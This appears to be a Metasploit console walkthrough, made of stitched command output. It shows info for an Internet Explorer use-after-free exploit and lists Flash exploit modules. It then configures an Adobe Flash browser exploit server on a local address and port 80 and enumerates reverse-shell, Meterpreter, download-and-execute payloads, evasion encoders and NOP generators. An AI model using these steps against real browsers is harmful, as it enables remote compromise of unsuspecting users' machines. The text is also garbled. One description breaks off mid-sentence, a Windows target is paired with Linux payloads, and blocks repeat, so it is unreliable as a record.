

```
msf exploit(ie_execcommand_uaf) > info
```

Name: MS12-063 Microsoft Internet Explorer execCommand Use-After-Free vulnerability

Module: exploit/windows/browser/ie_execcommand_uaf

Platform: Windows

Privileged: No

License: Metasploit Framework License (BSD)

Rank: Good

Disclosed: 2012-09-14

Provided by:

unknown

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Available targets:

Id	Name
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0	Automatic
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1	IE 7 on Windows XP SP3
---	------------------------

2	IE 8 on Windows XP SP3
---	------------------------

3	IE 7 on Windows Vista
---	-----------------------

4	IE 8 on Windows Vista
---	-----------------------

5	IE 8 on Windows 7
---	-------------------

6	IE 9 on Windows 7
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Basic options:

Name	Current Setting	Required	Description
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OBFUSCATE	false	no	Enable JavaScript obfuscation
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SRVHOST	0.0.0.0	yes	The local host to listen on. This must be an address on the local machine or 0.0.0.0
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SRVPORT	8080	yes	The local port to listen on.
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SSL	false	no	Negotiate SSL for incoming connection
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SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
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URIPATH		no	The URI to use for this exploit (default is random)
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Payload information:

Description:

This module exploits a vulnerability found in Microsoft Internet Explorer (MSIE). When rendering an HTML page, the CMshtmlEd object gets deleted in an unexpected manner, but the same memory is reused again later in the CMshtmlEd::Exec() function, leading to a use-after-free condition. Please note that this vulnerability has

nsf > search flash

Matching Modules

Name	Disclosure Date	Rank	Description
-----	-----	-----	-----
auxiliary/gather/flash_rosetta_jsonp_url_disclosure	2014-07-08	normal	Flash "Rosetta" JSONP GET/POST Response Disclosure
auxiliary/server/browser/autopwn2	2015-07-05	normal	HTTP Client Automatic Exploiter 2 (Browser Autopwn)
exploit/linux/browser/adobe_flashplayer_aslaunch	2008-12-17	good	Adobe Flash Player ActionScript Launch Command Execution Vulnerability
exploit/multi/browser/adobe_flash_hacking_team_uaf	2015-07-06	great	Adobe Flash Player ByteArray Use After Free
exploit/multi/browser/adobe_flash_nellymoser_bof	2015-06-23	great	Adobe Flash Player Nellymoser Audio Decoding Buffer Overflow
exploit/multi/browser/adobe_flash_net_connection_confusion	2015-03-12	great	Adobe Flash Player NetConnection Type Confusion
exploit/multi/browser/adobe_flash_opaque_background_uaf	2015-07-06	great	Adobe Flash opaqueBackground Use After Free
exploit/multi/browser/adobe_flash_pixel_bender_bof	2014-04-28	great	Adobe Flash Player Shader Buffer Overflow
exploit/multi/browser/adobe_flash_shader_drawing_fill	2015-05-12	great	Adobe Flash Player Drawing Fill Shader Memory Corruption
exploit/multi/browser/adobe_flash_shader_job_overflow	2015-05-12	great	Adobe Flash Player ShaderJob Buffer Overflow
exploit/multi/browser/adobe_flash_uncompress_zlib_uaf	2014-04-28	great	Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free
exploit/multi/browser/firefox_svg_plugin	2013-01-08	excellent	Firefox 17.0.1 Flash Privileged Code Injection
exploit/unix/webapp/flashchat_upload_exec	2013-10-04	excellent	FlashChat Arbitrary File Upload
exploit/unix/webapp/open_flash_chart_upload_exec	2009-12-14	great	Open Flash Chart v2 Arbitrary File Upload
exploit/unix/webapp/openenr_upload_exec	2013-02-13	excellent	OpenENR PHP File Upload Vulnerability
exploit/windows/browser/adobe_flash_avm2	2014-02-05	normal	Adobe Flash Player Integer Underflow Remote Code Execution
exploit/windows/browser/adobe_flash_casi32_int_overflow	2014-10-14	great	Adobe Flash Player casi32 Integer Overflow
exploit/windows/browser/adobe_flash_copy_pixels_to_byte_array	2014-09-23	great	Adobe Flash Player copyPixelsToByteArray Method Integer Overflow
exploit/windows/browser/adobe_flash_domain_memory_uaf	2014-04-14	great	Adobe Flash Player domainMemory ByteArray Use After Free
exploit/windows/browser/adobe_flash_filters_type_confusion	2013-12-10	normal	Adobe Flash Player Type Confusion Remote Code Execution
exploit/windows/browser/adobe_flash_mp4_cpvt	2012-02-15	normal	Adobe Flash Player MP4 'cpvt' Overflow
exploit/windows/browser/adobe_flash_otf_font	2012-08-09	normal	Adobe Flash Player 11.3 Kern Table Parsing Integer Overflow
exploit/windows/browser/adobe_flash_pcre	2014-11-25	normal	Adobe Flash Player PCRE Regex Vulnerability
exploit/windows/browser/adobe_flash_regex_value	2013-02-08	normal	Adobe Flash Player Regular Expression Heap Overflow
exploit/windows/browser/adobe_flash_rtmp	2012-05-04	normal	Adobe Flash Player Object Type Confusion
exploit/windows/browser/adobe_flash_sps	2011-08-09	normal	Adobe Flash Player MP4 SequenceParameterSetNALUnit Buffer Overflow
exploit/windows/browser/adobe_flash_uncompress_zlib_uninitialized	2014-11-11	good	Adobe Flash Player UncompressViaZlibVariant Uninitialized Memory
exploit/windows/browser/adobe_flash_worker_byte_array_uaf	2015-02-02	great	Adobe Flash Player ByteArray With Workers Use After Free
exploit/windows/browser/adobe_flashplayer_arrayindexing	2012-06-21	great	Adobe Flash Player AVM Verification Logic Array Indexing Code Execution
exploit/windows/browser/adobe_flashplayer_avm	2011-03-15	good	Adobe Flash Player AVM Bytecode Verification Vulnerability
exploit/windows/browser/adobe_flashplayer_flash100	2011-04-11	normal	Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability
exploit/windows/browser/adobe_flashplayer_newfunction	2010-06-04	normal	Adobe Flash Player "newfunction" Invalid Pointer Use
exploit/windows/browser/ms14_012_cmarkup_uaf	2014-02-13	normal	MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free
exploit/windows/fileformat/adobe_flashplayer_button	2010-10-28	normal	Adobe Flash Player "Button" Remote Code Execution
exploit/windows/fileformat/adobe_flashplayer_newfunction	2010-06-04	normal	Adobe Flash Player "newfunction" Invalid Pointer Use
exploit/windows/http/oracle_btm_writetofile	2012-08-07	excellent	Oracle Business Transaction Management FlashTunnelService Remote Code Execution
payload/firefox/exec		normal	Firefox XPCOM Execute Command
post/osx/gather/enum_keychain		normal	OS X Gather Keychain Enumeration
post/windows/gather/credentials/flashfxp		normal	Windows Gather FlashFXP Saved Password Extraction

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in Metasploit Pro -- learn more on <http://rapid7.com/metasploit>

```
=[ metasploit v4.11.5-2016010401 ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
```

```
msf > use exploit/multi/browser/adobe_flash_shader_drawing_fill
msf exploit(adobe_flash_shader_drawing_fill) > show options
```

Module options (exploit/multi/browser/adobe_flash_shader_drawing_fill):

Name	Current Setting	Required	Description
Retries	true	no	Allow the browser to retry the module
SRVHOST	0.0.0.0	yes	The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

Exploit target:

Id	Name
0	Windows


```
msf exploit(adobe_flash_shader_drawing_fill) > set srvhost 192.168.0.100
srvhost => 192.168.0.100
msf exploit(adobe_flash_shader_drawing_fill) > set srvport 80
srvport => 80
msf exploit(adobe_flash_shader_drawing_fill) > show options
```

Module options (exploit/multi/browser/adobe_flash_shader_drawing_fill):

Name	Current Setting	Required	Description
Retries	true	no	Allow the browser to retry the module
SRVHOST	192.168.0.100	yes	The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT	80	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

Payload options (linux/x86/exec):

Name	Current Setting	Required	Description
CMD		yes	The command string to execute

Exploit target:

Id	Name
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1	Linux

```
msf exploit(adobe_flash_shader_drawing_fill) > show payloads
```

Compatible Payloads

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Name	Disclosure Date	Rank	Description
----	-----	----	-----
generic/custom		normal	Custom Payload
generic/debug_trap		normal	Generic x86 Debug Trap
generic/shell_bind_tcp		normal	Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp		normal	Generic Command Shell, Reverse TCP Inline
generic/tight_loop		normal	Generic x86 Tight Loop
windows/dllinject/bind_hidden_ipknock_tcp		normal	Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
windows/dllinject/bind_hidden_tcp		normal	Reflective DLL Injection, Hidden Bind TCP Stager
windows/dllinject/bind_ipv6_tcp		normal	Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
windows/dllinject/bind_ipv6_tcp_uuid		normal	Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
windows/dllinject/bind_nonx_tcp		normal	Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
windows/dllinject/bind_tcp		normal	Reflective DLL Injection, Bind TCP Stager (Windows x86)
windows/dllinject/bind_tcp_rc4		normal	Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption)
windows/dllinject/bind_tcp_uuid		normal	Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
windows/dllinject/reverse_hop_http		normal	Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
windows/dllinject/reverse_http		normal	Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
windows/dllinject/reverse_http_proxy_pstore		normal	Reflective DLL Injection, Reverse HTTP Stager Proxy
windows/dllinject/reverse_ipv6_tcp		normal	Reflective DLL Injection, Reverse TCP Stager (IPv6)
windows/dllinject/reverse_nonx_tcp		normal	Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
windows/dllinject/reverse_ord_tcp		normal	Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
windows/dllinject/reverse_tcp		normal	Reflective DLL Injection, Reverse TCP Stager
windows/dllinject/reverse_tcp_allports		normal	Reflective DLL Injection, Reverse All-Port TCP Stager
windows/dllinject/reverse_tcp_dns		normal	Reflective DLL Injection, Reverse TCP Stager (DNS)
windows/dllinject/reverse_tcp_rc4		normal	Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption)
windows/dllinject/reverse_tcp_rc4_dns		normal	Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS)
windows/dllinject/reverse_tcp_uuid		normal	Reflective DLL Injection, Reverse TCP Stager with UUID Support
windows/dllinject/reverse_winhttp		normal	Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
windows/dns_txt_query_exec		normal	DNS TXT Record Payload Download and Execution
windows/download_exec		normal	Windows Executable Download (http,https,ftp) and Execute
windows/exec		normal	Windows Execute Command
windows/loadlibrary		normal	Windows LoadLibrary Path
windows/messagebox		normal	Windows MessageBox
windows/meterpreter/bind_hidden_ipknock_tcp		normal	Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
windows/meterpreter/bind_hidden_tcp		normal	Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
windows/meterpreter/bind_ipv6_tcp		normal	Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
windows/meterpreter/bind_ipv6_tcp_uuid		normal	Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
windows/meterpreter/bind_nonx_tcp		normal	Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
windows/meterpreter/bind_tcp		normal	Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
windows/meterpreter/bind_tcp_rc4		normal	Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption)
windows/meterpreter/bind_tcp_uuid		normal	Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)


```
msf exploit(adobe_flash_shader_drawing_fill) > set target 1
target => 1
msf exploit(adobe_flash_shader_drawing_fill) > show payloads
```

Compatible Payloads
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Name	Disclosure Date	Rank	Description
----	-----	----	-----
generic/custom		normal	Custom Payload
generic/debug_trap		normal	Generic x86 Debug Trap
generic/shell_bind_tcp		normal	Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp		normal	Generic Command Shell, Reverse TCP Inline
generic/tight_loop		normal	Generic x86 Tight Loop
linux/x86/chmod		normal	Linux Chmod
linux/x86/exec		normal	Linux Execute Command
linux/x86/meterpreter/bind_ipv6_tcp		normal	Linux Meterpreter, Bind IPv6 TCP Stager (Linux x86)
linux/x86/meterpreter/bind_ipv6_tcp_uuid		normal	Linux Meterpreter, Bind IPv6 TCP Stager with UUID Support (Linux x86)
linux/x86/meterpreter/bind_nonx_tcp		normal	Linux Meterpreter, Bind TCP Stager
linux/x86/meterpreter/bind_tcp		normal	Linux Meterpreter, Bind TCP Stager (Linux x86)
linux/x86/meterpreter/bind_tcp_uuid		normal	Linux Meterpreter, Bind TCP Stager with UUID Support (Linux x86)
linux/x86/meterpreter/reverse_ipv6_tcp		normal	Linux Meterpreter, Reverse TCP Stager (IPv6)
linux/x86/meterpreter/reverse_nonx_tcp		normal	Linux Meterpreter, Reverse TCP Stager
linux/x86/meterpreter/reverse_tcp		normal	Linux Meterpreter, Reverse TCP Stager
linux/x86/meterpreter/reverse_tcp_uuid		normal	Linux Meterpreter, Reverse TCP Stager
linux/x86/metsvc_bind_tcp		normal	Linux Meterpreter Service, Bind TCP
linux/x86/metsvc_reverse_tcp		normal	Linux Meterpreter Service, Reverse TCP Inline
linux/x86/read_file		normal	Linux Read File
linux/x86/shell/bind_ipv6_tcp		normal	Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
linux/x86/shell/bind_ipv6_tcp_uuid		normal	Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
linux/x86/shell/bind_nonx_tcp		normal	Linux Command Shell, Bind TCP Stager
linux/x86/shell/bind_tcp		normal	Linux Command Shell, Bind TCP Stager (Linux x86)
linux/x86/shell/bind_tcp_uuid		normal	Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
linux/x86/shell/reverse_ipv6_tcp		normal	Linux Command Shell, Reverse TCP Stager (IPv6)
linux/x86/shell/reverse_nonx_tcp		normal	Linux Command Shell, Reverse TCP Stager
linux/x86/shell/reverse_tcp		normal	Linux Command Shell, Reverse TCP Stager
linux/x86/shell/reverse_tcp_uuid		normal	Linux Command Shell, Reverse TCP Stager
linux/x86/shell_bind_ipv6_tcp		normal	Linux Command Shell, Bind TCP Inline (IPv6)
linux/x86/shell_bind_tcp		normal	Linux Command Shell, Bind TCP Inline
linux/x86/shell_bind_tcp_random_port		normal	Linux Command Shell, Bind TCP Random Port Inline
linux/x86/shell_reverse_tcp		normal	Linux Command Shell, Reverse TCP Inline
linux/x86/shell_reverse_tcp2		normal	Linux Command Shell, Reverse TCP Inline - Metasm Demo

```
msf exploit(adobe_flash_shader_drawing_fill) > show advanced
```

```
Module advanced options (exploit/multi/browser/adobe_flash_shader_drawing_fill):
```

```
Name      : ContextInformationFile
Current Setting:
Description : The information file that contains context information

Name      : CookieExpiration
Current Setting:
Description : Cookie expiration in years (blank=expire on exit)

Name      : CookieName
Current Setting: __ua
Description : The name of the tracking cookie

Name      : Custom404
Current Setting:
Description : An external custom 404 URL (Example:
             http://example.com/404.html)

Name      : DisablePayloadHandler
Current Setting: false
Description : Disable the handler code for the selected payload

Name      : EnableContextEncoding
Current Setting: false
Description : Use transient context when encoding payloads

Name      : JsObfuscate
Current Setting: 0
Description : Number of times to obfuscate JavaScript

Name      : ListenerComm
Current Setting:
Description : The specific communication channel to use for this service
```



```
msf exploit(adobe_flash_shader_drawing_fill) > show encoders
```

Compatible Encoders

=====

Name	Disclosure Date	Rank	Description
----	-----	----	-----
generic/eicar		manual	The EICAR Encoder
generic/none		normal	The "none" Encoder
x86/add_sub		manual	Add/Sub Encoder
x86/alpha_mixed		low	Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper		low	Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_underscore_tolower		manual	Avoid underscore/tolower
x86/avoid_utf8_tolower		manual	Avoid UTF8/tolower
x86/bloxor		manual	BloXor - A Metamorphic Block Based XOR Encoder
x86/call4_dword_xor		normal	Call+4 Dword XOR Encoder
x86/context_cpuid		manual	CPUID-based Context Keyed Payload Encoder
x86/context_stat		manual	stat(2)-based Context Keyed Payload Encoder
x86/context_time		manual	time(2)-based Context Keyed Payload Encoder
x86/countdown		normal	Single-byte XOR Countdown Encoder
x86/fnstenv_mov		normal	Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive		normal	Jump/Call XOR Additive Feedback Encoder
x86/nonalpha		low	Non-Alpha Encoder
x86/nonupper		low	Non-Upper Encoder
x86/opt_sub		manual	Sub Encoder (optimised)
x86/shikata_ga_nai		excellent	Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit		manual	Single Static Bit
x86/unicode_mixed		manual	Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper		manual	Alpha2 Alphanumeric Unicode Uppercase Encoder


```
msf exploit(adobe_flash_shader_drawing_fill) > show nops
```

NOP Generators

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Name	Disclosure Date	Rank	Description
----	-----	----	-----
armle/simple		normal	Simple
php/generic		normal	PHP Nop Generator
ppc/simple		normal	Simple
sparc/random		normal	SPARC NOP Generator
tty/generic		normal	TTY Nop Generator
x64/simple		normal	Simple
x86/opty2		normal	Opty2
x86/single_byte		normal	Single Byte

```
msf exploit(adobe_flash_shader_drawing_fill) > show nops
```

NOP Generators

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Name	Disclosure Date	Rank	Description
----	-----	----	-----
armle/simple		normal	Simple
php/generic		normal	PHP Nop Generator
ppc/simple		normal	Simple
sparc/random		normal	SPARC NOP Generator
tty/generic		normal	TTY Nop Generator
x64/simple		normal	Simple
x86/opty2		normal	Opty2
x86/single_byte		normal	Single Byte